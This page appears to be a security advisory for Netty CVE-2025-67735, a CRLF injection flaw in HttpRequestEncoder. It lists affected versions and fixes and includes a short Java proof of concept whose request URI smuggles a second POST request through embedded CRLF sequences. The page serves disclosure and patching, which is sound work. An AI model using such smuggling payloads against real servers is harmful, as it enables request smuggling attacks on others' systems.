CVE-2025-67735: Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder
Summary The io.netty.handler.codec.http.HttpRequestEncoder CRLF injection with the request uri when constructing a request. This leads to request smuggling when HttpRequestEncoder is used without proper sanitization of the uri.
Published Dec 15, 2025 · Updated Dec 20, 2025
Affected packages
io.netty:netty-codec-http
- Ecosystem
- Maven
- Affected
- >= 4.2.0.Alpha1, < 4.2.8.Final
- Fixed in
- 4.2.8.Final
- Check
mvn dependency:tree -Dincludes=io.netty:netty-codec-http
io.netty:netty-codec-http
- Ecosystem
- Maven
- Affected
- < 4.1.129.Final
- Fixed in
- 4.1.129.Final
- Check
mvn dependency:tree -Dincludes=io.netty:netty-codec-http
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The io.netty.handler.codec.http.HttpRequestEncoder CRLF injection with the request uri when constructing a request. This leads to request smuggling when HttpRequestEncoder is used without proper sanitization of the uri.
Details
The HttpRequestEncoder simply UTF8 encodes the uri without sanitization (buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);)
The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.
PoC
Simple reproducer:
public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel();
client.pipeline().addLast(new HttpClientCodec());
EmbeddedChannel server = new EmbeddedChannel();
server.pipeline().addLast(new HttpServerCodec());
server.pipeline().addLast(new ChannelInboundHandlerAdapter() {
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
System.out.println("Processing msg " + msg);
}
});
DefaultHttpRequest request = new DefaultHttpRequest(
HttpVersion.HTTP_1_1,
HttpMethod.GET,
"/s1 HTTP/1.1\r\n" +
"\r\n" +
"POST /s2 HTTP/1.1\r\n" +
"content-length: 11\r\n\r\n" +
"Hello World" +
"GET /s1"
);
client.writeAndFlush(request);
ByteBuf tmp;
while ((tmp = client.readOutbound()) != null) {
server.writeInbound(tmp);
}
}Impact
Any application / framework using HttpRequestEncoder can be subject to be abused to perform request smuggling using CRLF injection.
Credited to vietj, nakyamad.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Maven vulnerabilities
All Maven entriesCVE-2026-59903
Netty Vulnerable to Cache Poisoning and Information Disclosure via CORS Vary Header Overwrite
medium6.5Aug 17, 2026CVE-2026-55831
Netty SPDY SETTINGS frame count materializes unbounded settings map
high7.5Jul 22, 2026CVE-2026-55833
Netty SPDY zlib header block continues decoded expansion after maxHeaderSize truncation
high7.5Jul 22, 2026CVE-2026-56745
Netty: [SpdyHttpDecoder] ByteBuf Reference Leak on RST_STREAM Leads to Native Memory Exhaustion
high8.7Jul 22, 2026CVE-2026-56746
Netty: Security Control Bypass via CORS Short-Circuit Failure
medium6.5Jul 22, 2026CVE-2026-59898
Netty: WebSockets V07/V08 handshaker missing Connection/Upgrade validation
medium6.3Jul 22, 2026
